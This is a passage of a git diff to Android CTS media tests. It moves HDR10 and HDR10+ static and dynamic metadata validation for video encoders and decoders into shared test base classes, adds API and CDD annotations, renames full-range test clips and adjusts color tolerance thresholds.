+ private Map<Integer, String> mHdrDynamicInfoStream;
+ private Map<Integer, String> mHdrDynamicInfoContainer;
+ private String mHdrDynamicInfoCurrent;
+
+ public HDRDecoderTestBase(String decoder, String mime, String testFile) {
+ super(decoder, mime, testFile);
+ }
+
+ void enqueueInput(int bufferIndex) {
+ if (mHdrDynamicInfoContainer != null && mHdrDynamicInfoContainer.containsKey(mInputCount) &&
+ mExtractor.getSampleSize() != -1) {
+ insertHdrDynamicInfo(
+ loadByteArrayFromString(mHdrDynamicInfoContainer.get(mInputCount)));
+ }
+ super.enqueueInput(bufferIndex);
+ }
+
+ void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+ if (info.size > 0 && mHdrDynamicInfoRef != null) {
+ MediaFormat format = mCodec.getOutputFormat(bufferIndex);
+ if (mHdrDynamicInfoRef.containsKey(mOutputCount)) {
+ mHdrDynamicInfoCurrent = mHdrDynamicInfoRef.get(mOutputCount);
+ }
+ validateHDRInfo(format, MediaFormat.KEY_HDR10_PLUS_INFO,
+ ByteBuffer.wrap(loadByteArrayFromString(mHdrDynamicInfoCurrent)));
+ }
+ super.dequeueOutput(bufferIndex, info);
+ }
+
+ void validateHDRInfo(String hdrStaticInfoStream, String hdrStaticInfoContainer,
+ Map<Integer, String> hdrDynamicInfoStream,
+ Map<Integer, String> hdrDynamicInfoContainer) throws IOException,
+ InterruptedException {
+ mHdrStaticInfoStream = hdrStaticInfoStream != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null;
+ mHdrStaticInfoContainer = hdrStaticInfoContainer != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null;
+ mHdrStaticInfoRef = mHdrStaticInfoStream == null ? mHdrStaticInfoContainer :
+ mHdrStaticInfoStream;
+ mHdrDynamicInfoStream = hdrDynamicInfoStream;
+ mHdrDynamicInfoContainer = hdrDynamicInfoContainer;
+ mHdrDynamicInfoRef = hdrDynamicInfoStream == null ? hdrDynamicInfoContainer :
+ hdrDynamicInfoStream;
+
+ assertTrue("reference hdr10/hdr10+ info is not supplied for validation",
+ mHdrDynamicInfoRef != null || mHdrStaticInfoRef != null);
+
+ if (mHdrDynamicInfoStream != null || mHdrDynamicInfoContainer != null) {
+ Assume.assumeNotNull("Test is only applicable to codecs that have HDR10+ profiles",
+ mProfileHdr10PlusMap.get(mMime));
+ }
+ if (mHdrStaticInfoStream != null || mHdrStaticInfoContainer != null) {
+ Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles",
+ mProfileHdr10Map.get(mMime));
+ }
+
+ File fObj = new File(mTestFile);
+ String parent = fObj.getParent();
+ if (parent != null) parent += File.separator;
+ else parent = mInpPrefix;
+ Preconditions.assertTestFileExists(parent + fObj.getName());
+ // For decoders, if you intend to supply hdr10+ info using external means like json, make
+ // sure that info that is being supplied is in sync with SEI info
+ if (mHdrDynamicInfoStream != null && mHdrDynamicInfoContainer != null) {
+ assertEquals("Container hdr10+ info size and elementary stream SEI hdr10+ " +
+ "info size are unequal", mHdrDynamicInfoStream.size(),
+ mHdrDynamicInfoContainer.size());
+ for (Map.Entry<Integer, String> element : mHdrDynamicInfoStream.entrySet()) {
+ assertTrue("Container hdr10+ info and elementary stream SEI hdr10+ " +
+ "info frame positions are not in sync",
+ mHdrDynamicInfoContainer.containsKey(element.getKey()));
+ }
+ }
+ mOutputBuff = new OutputManager();
+ MediaFormat format = setUpSource(parent, fObj.getName());
+ if (mHdrDynamicInfoStream != null || mHdrDynamicInfoContainer != null) {
+ format.setInteger(MediaFormat.KEY_PROFILE, mProfileHdr10PlusMap.get(mMime)[0]);
+ } else {
+ format.setInteger(MediaFormat.KEY_PROFILE, mProfileHdr10Map.get(mMime)[0]);
+ }
+ ArrayList<MediaFormat> formatList = new ArrayList<>();
+ formatList.add(format);
+ Assume.assumeTrue(mCodecName + " does not support HDR10/HDR10+ profile",
+ areFormatsSupported(mCodecName, mMime, formatList));
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ configureCodec(format, false, true, false);
+ mCodec.start();
+ doWork(Integer.MAX_VALUE);
+ queueEOS();
+ waitForAllOutputs();
+ if (mHdrStaticInfoRef != null) {
+ validateHDRInfo(mCodec.getOutputFormat(), MediaFormat.KEY_HDR_STATIC_INFO,
+ mHdrStaticInfoRef);
+ }
+ mCodec.stop();
+ mCodec.release();
+ mExtractor.release();
+ }
+}
+
+class HDREncoderTestBase extends CodecEncoderTestBase {
+ private static final String LOG_TAG = HDREncoderTestBase.class.getSimpleName();
+
+ private ByteBuffer mHdrStaticInfo;
+ private Map<Integer, String> mHdrDynamicInfo;
+
+ private MediaMuxer mMuxer;
+ private int mTrackID = -1;
+
+ public HDREncoderTestBase(String encoderName, String mediaType, int bitrate, int width,
+ int height) {
+ super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height});
+ }
+
+ void enqueueInput(int bufferIndex) {
+ if (mHdrDynamicInfo != null && mHdrDynamicInfo.containsKey(mInputCount)) {
+ insertHdrDynamicInfo(loadByteArrayFromString(mHdrDynamicInfo.get(mInputCount)));
+ }
+ super.enqueueInput(bufferIndex);
+ }
+
+ void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+ MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex);
+ if (info.size > 0) {
+ ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
+ if (mMuxer != null) {
+ if (mTrackID == -1) {
+ mTrackID = mMuxer.addTrack(bufferFormat);
+ mMuxer.start();
+ }
+ mMuxer.writeSampleData(mTrackID, buf, info);
+ }
+ }
+ super.dequeueOutput(bufferIndex, info);
+ }
+
+ void validateHDRInfo(String hdrStaticInfo, Map<Integer, String> hdrDynamicInfo)
+ throws IOException, InterruptedException {
+ mHdrStaticInfo = hdrStaticInfo != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfo)) : null;
+ mHdrDynamicInfo = hdrDynamicInfo;
+
+ setUpParams(1);
+
+ MediaFormat format = mFormats.get(0);
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+ format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+ format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020);
+ format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084);
+ int profile = (mHdrDynamicInfo != null) ? mProfileHdr10PlusMap.get(mMime)[0] :
+ mProfileHdr10Map.get(mMime)[0];
+ format.setInteger(MediaFormat.KEY_PROFILE, profile);
+
+ if (mHdrStaticInfo != null) {
+ format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, mHdrStaticInfo);
+ }
+ Assume.assumeTrue(mCodecName + " does not support HDR10/HDR10+ profile " + profile,
+ areFormatsSupported(mCodecName, mMime, mFormats));
+ Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010",
+ hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+
+ mBytesPerSample = 2;
+ setUpSource(INPUT_VIDEO_FILE_HBD);
+
+ int frameLimit = 4;
+ if (mHdrDynamicInfo != null) {
+ Integer lastHdr10PlusFrame =
+ Collections.max(HDR_DYNAMIC_INFO.entrySet(), Map.Entry.comparingByKey())
+ .getKey();
+ frameLimit = lastHdr10PlusFrame + 10;
+ }
+ int maxNumFrames = mInputData.length / (INP_FRM_WIDTH * INP_FRM_HEIGHT * mBytesPerSample);
+ assertTrue("HDR info tests require input file with at least " + frameLimit +
+ " frames. " + INPUT_VIDEO_FILE_HBD + " has " + maxNumFrames + " frames.",
+ frameLimit <= maxNumFrames);
+
+ mOutputBuff = new OutputManager();
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ File tmpFile;
+ int muxerFormat;
+ if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+ muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
+ tmpFile = File.createTempFile("tmp10bit", ".webm");
+ } else {
+ muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
+ tmpFile = File.createTempFile("tmp10bit", ".mp4");
+ }
+ mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
+ configureCodec(format, true, true, true);
+ mCodec.start();
+ doWork(frameLimit);
+ queueEOS();
+ waitForAllOutputs();
+ if (mTrackID != -1) {
+ mMuxer.stop();
+ mTrackID = -1;
+ }
+ if (mMuxer != null) {
+ mMuxer.release();
+ mMuxer = null;
+ }
+ String log = String.format("format: %s \n codec: %s:: ", format, mCodecName);
+ assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
+ assertTrue(log + "no input sent", 0 != mInputCount);
+ assertTrue(log + "output received", 0 != mOutputCount);
+
+ MediaFormat fmt = mCodec.getOutputFormat();
+
+ mCodec.stop();
+ mCodec.release();
+ if (mHdrStaticInfo != null) {
+ // verify if the out fmt contains HDR Static info as expected
+ validateHDRInfo(fmt, MediaFormat.KEY_HDR_STATIC_INFO, mHdrStaticInfo);
+ }
+
+ // verify if the muxed file contains HDR Dynamic info as expected
+ MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ String decoder = codecList.findDecoderForFormat(format);
+ assertNotNull("Device advertises support for encoding " + format + " but not decoding it",
+ decoder);
+
+ HDRDecoderTestBase decoderTest = new HDRDecoderTestBase(decoder, mMime,
+ tmpFile.getAbsolutePath());
+ decoderTest.validateHDRInfo(hdrStaticInfo, hdrStaticInfo, mHdrDynamicInfo, mHdrDynamicInfo);
+ if (HDR_INFO_IN_BITSTREAM_CODECS.contains(mMime)) {
+ decoderTest.validateHDRInfo(hdrStaticInfo, null, mHdrDynamicInfo, null);
+ }
+ tmpFile.delete();
+ }
+}
diff --git a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
index eff586039dd..518ff8610a8 100644
--- a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
@@ -28,6 +28,8 @@ import android.util.Log;
import androidx.test.filters.LargeTest;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -222,23 +224,23 @@ public class DecodeGlAccuracyTest extends CodecDecoderTestBase {
MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
// 601FR
- {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit.mp4",
+ {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit_fr.mp4",
MediaFormat.COLOR_RANGE_FULL,
MediaFormat.COLOR_STANDARD_BT601_NTSC,
MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
- {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit.mp4",
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit_fr.mp4",
MediaFormat.COLOR_RANGE_FULL,
MediaFormat.COLOR_STANDARD_BT601_NTSC,
MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
- {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit.webm",
+ {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit_fr.webm",
MediaFormat.COLOR_RANGE_FULL,
MediaFormat.COLOR_STANDARD_BT601_NTSC,
MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
- {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit.webm",
+ {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit_fr.webm",
MediaFormat.COLOR_RANGE_FULL,
MediaFormat.COLOR_STANDARD_BT601_NTSC,
MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
- {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit.webm",
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit_fr.webm",
MediaFormat.COLOR_RANGE_FULL,
MediaFormat.COLOR_STANDARD_BT601_NTSC,
MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
@@ -334,6 +336,12 @@ public class DecodeGlAccuracyTest extends CodecDecoderTestBase {
* The OpenGL fragment shader reads the frame buffers as externl textures and renders to
* a pbuffer. The output RGB values are read and compared against the expected values.
*/
+ @ApiTest(apis = {"android.media.MediaCodec#dequeueOutputBuffer",
+ "android.media.MediaCodec#releaseOutputBuffer",
+ "android.media.MediaCodec.Callback#onOutputBufferAvailable",
+ "android.media.MediaFormat#setInteger(KEY_COLOR_RANGE)",
+ "android.media.MediaFormat#setInteger(KEY_COLOR_STANDARD)",
+ "android.media.MediaFormat#setInteger(KEY_COLOR_TRANSFER)"})
@LargeTest
@Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
public void testDecodeGlAccuracyRGB() throws IOException, InterruptedException {
@@ -364,6 +372,17 @@ public class DecodeGlAccuracyTest extends CodecDecoderTestBase {
mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, false, mUseYuvSampling);
+
+ // If device supports HDR editing, then GL_EXT_YUV_target extension support is mandatory
+ if (mUseYuvSampling) {
+ String message = "Device doesn't support EXT_YUV_target GL extension";
+ if (IS_AT_LEAST_T && IS_HDR_EDITING_SUPPORTED) {
+ assertTrue(message, mEGLWindowOutSurface.getEXTYuvTargetSupported());
+ } else {
+ assumeTrue(message, mEGLWindowOutSurface.getEXTYuvTargetSupported());
+ }
+ }
+
mSurface = mEGLWindowOutSurface.getSurface();
mCodec = MediaCodec.createByCodecName(mCompName);
diff --git a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
index 3dd28aa48c3..4994a9bc987 100644
--- a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
@@ -22,6 +22,8 @@ import android.os.Build;
import androidx.test.filters.SdkSuppress;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Assume;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -29,34 +31,34 @@ import org.junit.runners.Parameterized;
import java.io.IOException;
import java.nio.ByteBuffer;
-import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.List;
+import java.util.Map;
/**
- * Test to validate hdr static metadata in decoders
+ * Test to validate hdr static info in decoders
*/
@RunWith(Parameterized.class)
// P010 support was added in Android T, hence limit the following tests to Android T and above
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
-public class DecoderHDRInfoTest extends CodecDecoderTestBase {
+public class DecoderHDRInfoTest extends HDRDecoderTestBase {
private static final String LOG_TAG = DecoderHDRInfoTest.class.getSimpleName();
- private static final String HDR_STATIC_INFO =
- "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
- private static final String HDR_STATIC_INCORRECT_INFO =
- "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
- private final ByteBuffer mHDRStaticInfoStream;
- private final ByteBuffer mHDRStaticInfoContainer;
+ private String mHDRStaticInfoStream;
+ private String mHDRStaticInfoContainer;
+ private Map<Integer, String> mHDRDynamicInfoStream;
+ private Map<Integer, String> mHDRDynamicInfoContainer;
public DecoderHDRInfoTest(String codecName, String mediaType, String testFile,
- String hdrStaticInfoStream, String hdrStaticInfoContainer) {
+ String hdrStaticInfoStream, String hdrStaticInfoContainer,
+ Map<Integer, String> HDRDynamicInfoStream,
+ Map<Integer, String> HDRDynamicInfoContainer) {
super(codecName, mediaType, testFile);
- mHDRStaticInfoStream = hdrStaticInfoStream != null ?
- ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null;
- mHDRStaticInfoContainer = hdrStaticInfoContainer != null ?
- ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null;
+ mHDRStaticInfoStream = hdrStaticInfoStream;
+ mHDRStaticInfoContainer = hdrStaticInfoContainer;
+ mHDRDynamicInfoStream = HDRDynamicInfoStream;
+ mHDRDynamicInfoContainer = HDRDynamicInfoContainer;
}
@Parameterized.Parameters(name = "{index}({0}_{1})")
@@ -65,64 +67,50 @@ public class DecoderHDRInfoTest extends CodecDecoderTestBase {
final boolean needAudio = false;
final boolean needVideo = true;
final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
- // codecMediaType, testFile, hdrInfo in stream, hdrInfo in container
+ // codecMediaType, testFile, hdrStaticInfo in stream, hdrStaticInfo in container,
+ // hdrDynamicInfo in stream, hdrDynamicInfo in container
{MediaFormat.MIMETYPE_VIDEO_HEVC,
"cosmat_352x288_hdr10_stream_and_container_correct_hevc.mkv",
- HDR_STATIC_INFO, HDR_STATIC_INFO},
+ HDR_STATIC_INFO, HDR_STATIC_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_HEVC,
"cosmat_352x288_hdr10_stream_correct_container_incorrect_hevc.mkv",
- HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+ HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_stream_hevc.mkv",
- HDR_STATIC_INFO, null},
+ HDR_STATIC_INFO, null, null, null},
{MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_container_hevc.mkv",
- null, HDR_STATIC_INFO},
+ null, HDR_STATIC_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv",
- null, HDR_STATIC_INFO},
+ null, HDR_STATIC_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_AV1,
"cosmat_352x288_hdr10_stream_and_container_correct_av1.mkv",
- HDR_STATIC_INFO, HDR_STATIC_INFO},
+ HDR_STATIC_INFO, HDR_STATIC_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_AV1,
"cosmat_352x288_hdr10_stream_correct_container_incorrect_av1.mkv",
- HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+ HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_stream_av1.mkv",
- HDR_STATIC_INFO, null},
+ HDR_STATIC_INFO, null, null, null},
{MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_container_av1.mkv",
- null, HDR_STATIC_INFO},
+ null, HDR_STATIC_INFO, null, null},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10plus_hevc.mp4",
+ null, null, HDR_DYNAMIC_INFO, null},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10plus_hevc.mp4",
+ null, null, HDR_DYNAMIC_INFO, HDR_DYNAMIC_INCORRECT_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10plus_av1.mkv",
+ null, null, HDR_DYNAMIC_INFO, null},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10plus_av1.mkv",
+ null, null, HDR_DYNAMIC_INFO, HDR_DYNAMIC_INCORRECT_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv",
+ null, null, null, HDR_DYNAMIC_INFO},
+
});
return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
}
@SmallTest
@Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
- public void testHDRMetadata() throws IOException, InterruptedException {
- int[] Hdr10Profiles = mProfileHdr10Map.get(mMime);
- Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles",
- Hdr10Profiles);
- MediaFormat format = setUpSource(mTestFile);
- mExtractor.release();
- ArrayList<MediaFormat> formats = new ArrayList<>();
- formats.add(format);
-
- // When HDR metadata isn't present in the container, but included in the bitstream,
- // extractors may not be able to populate HDR10/HDR10+ profiles correctly.
- // In such cases, override the profile
- if (mHDRStaticInfoContainer == null && mHDRStaticInfoStream != null) {
- int profile = Hdr10Profiles[0];
- format.setInteger(MediaFormat.KEY_PROFILE, profile);
- }
- Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats));
-
- if (mHDRStaticInfoContainer != null) {
- validateHDRStaticMetaData(format, mHDRStaticInfoContainer);
- }
-
- validateHDRStaticMetaData(mInpPrefix, mTestFile,
- mHDRStaticInfoStream == null ? mHDRStaticInfoContainer : mHDRStaticInfoStream,
- false);
- if (mHDRStaticInfoStream != null) {
- if (EncoderHDRInfoTest.mCheckESList.contains(mMime)) {
- validateHDRStaticMetaData(mInpPrefix, mTestFile, mHDRStaticInfoStream, true);
- }
- }
+ @CddTest(requirements = {"5.3.5/C-3-1", "5.3.7/C-4-1", "5.3.9"})
+ public void testHDRInfo() throws IOException, InterruptedException {
+ validateHDRInfo(mHDRStaticInfoStream, mHDRStaticInfoContainer, mHDRDynamicInfoStream,
+ mHDRDynamicInfoContainer);
}
}
diff --git a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
index b11343c6632..ebed139fc53 100644
--- a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
@@ -55,9 +55,10 @@ public class EncodeDecodeAccuracyTest extends CodecDecoderTestBase {
// qp of the encoded clips shall drop down to < 10. Further the color bands are aligned to 2,
// so from downsampling rgb24 to yuv420p, even if bilinear filters are used as opposed to
// skipping samples, we may not see large color loss. Hence allowable tolerance is kept to 5.
- // until QP stabilizes, the tolerance is set at 7.
- private final int TRANSIENT_STATE_COLOR_DELTA = 7;
- private final int STEADY_STATE_COLOR_DELTA = 5;
+ // until QP stabilizes, the tolerance is set at 7. For devices upgrading to T, thresholds are
+ // relaxed to 8 and 10.
+ private final int TRANSIENT_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 7: 10;
+ private final int STEADY_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 5: 8;
private final int[][] mColorBars = new int[][]{
{66, 133, 244},
{219, 68, 55},
diff --git a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
index 26c6eb55920..66916e52df8 100644
--- a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
@@ -21,84 +21,59 @@ import android.media.MediaCodecList;
import android.media.MediaFormat;
import android.media.MediaMuxer;
import android.os.Build;
-import android.os.Bundle;
+import android.util.Log;
import androidx.test.filters.SdkSuppress;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.After;
import org.junit.Assume;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
-import java.io.File;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
+import java.util.Collections;
import java.util.List;
+import java.util.Map;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
-import static android.media.MediaCodecInfo.CodecProfileLevel.*;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
/**
- * Test to validate hdr static and dynamic metadata in encoders
+ * HDR10 Metadata is an aid for a display device to show the content in an optimal manner. It
+ * contains the HDR content and mastering device properties that are used by the display device
+ * to map the content according to its own color gamut and peak brightness. This information is
+ * part of the elementary stream. Generally this information is placed at scene change intervals
+ * or even at every frame level. If the encoder is configured with hdr info, then it is
+ * expected to place this information in the elementary stream as-is. This test validates the
+ * same. The test feeds per-frame or per-scene info at various points and expects the encoder
+ * to place the hdr info in the elementary stream at exactly those points
+ *
+ * Restrict hdr info test for Android T and above
*/
@RunWith(Parameterized.class)
// P010 support was added in Android T, hence limit the following tests to Android T and above
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
-public class EncoderHDRInfoTest extends CodecEncoderTestBase {
+public class EncoderHDRInfoTest extends HDREncoderTestBase {
private static final String LOG_TAG = EncoderHDRInfoTest.class.getSimpleName();
- private MediaMuxer mMuxer;
- private int mTrackID = -1;
- static final ArrayList<String> mCheckESList = new ArrayList<>();
-
- static {
- mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
- mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
- mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
- }
+ private String mHDRStaticInfo;
+ private Map<Integer, String> mHDRDynamicInfo;
- public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate, int width,
- int height, boolean testDynamicMetadata) {
- super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height});
- mTestDynamicMetadata = testDynamicMetadata;
- }
-
- void enqueueInput(int bufferIndex) {
- if(mTestDynamicMetadata){
- final Bundle params = new Bundle();
- byte[] info = loadByteArrayFromString(HDR_DYNAMIC_INFO[mInputCount]);
- params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
- mCodec.setParameters(params);
- if (mInputCount >= HDR_DYNAMIC_INFO.length) {
- mSawInputEOS = true;
- }
- }
- super.enqueueInput(bufferIndex);
- }
- void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
- MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex);
- if (info.size > 0) {
- ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
- if (mMuxer != null) {
- if (mTrackID == -1) {
- mTrackID = mMuxer.addTrack(bufferFormat);
- mMuxer.start();
- }
- mMuxer.writeSampleData(mTrackID, buf, info);
- }
- }
- super.dequeueOutput(bufferIndex, info);
- // verify if the out fmt contains HDR Dynamic metadata as expected
- if (mTestDynamicMetadata && mOutputCount > 0) {
- validateHDRDynamicMetaData(bufferFormat,
- ByteBuffer.wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount - 1])));
- }
+ public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate,
+ int width, int height, String HDRStaticInfo,
+ Map<Integer, String> HDRDynamicInfo) {
+ super(encoderName, mediaType, bitrate, width, height);
+ mHDRStaticInfo = HDRStaticInfo;
+ mHDRDynamicInfo = HDRDynamicInfo;
}
@Parameterized.Parameters(name = "{index}({0}_{1})")
@@ -106,111 +81,28 @@ public class EncoderHDRInfoTest extends CodecEncoderTestBase {
final boolean isEncoder = true;
final boolean needAudio = false;
final boolean needVideo = true;
-
- final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
- {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, false},
- {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, false},
- {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, false},
-
- {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, true},
- {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, true},
- {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, true},
- });
+ final String[] mediaTypes = new String[]{
+ MediaFormat.MIMETYPE_VIDEO_AV1,
+ MediaFormat.MIMETYPE_VIDEO_HEVC,
+ MediaFormat.MIMETYPE_VIDEO_VP9
+ };
+
+ final List<Object[]> exhaustiveArgsList = new ArrayList<>();
+ for (String mediaType : mediaTypes) {
+ // mediaType, bitrate, width, height, hdrStaticInfo, hdrDynamicInfo
+ exhaustiveArgsList.add(new Object[]{mediaType, 512000, 352, 288, HDR_STATIC_INFO,
+ null});
+ exhaustiveArgsList.add(new Object[]{mediaType, 512000, 352, 288, null,
+ HDR_DYNAMIC_INFO});
+ }
return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
}
@SmallTest
@Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
- public void testHDRMetadata() throws IOException, InterruptedException {
- int profile;
- setUpParams(1);
- MediaFormat format = mFormats.get(0);
- final ByteBuffer hdrStaticInfo = ByteBuffer.wrap(loadByteArrayFromString(HDR_STATIC_INFO));
- if (mTestDynamicMetadata) {
- profile = mProfileHdr10PlusMap.getOrDefault(mMime, new int[]{-1})[0];
- } else {
- profile = mProfileHdr10Map.getOrDefault(mMime, new int[]{-1})[0];
- }
- format.setInteger(MediaFormat.KEY_PROFILE, profile);
- format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
- format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
- format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020);
- format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084);
- format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, hdrStaticInfo);
- mFormats.clear();
- mFormats.add(format);
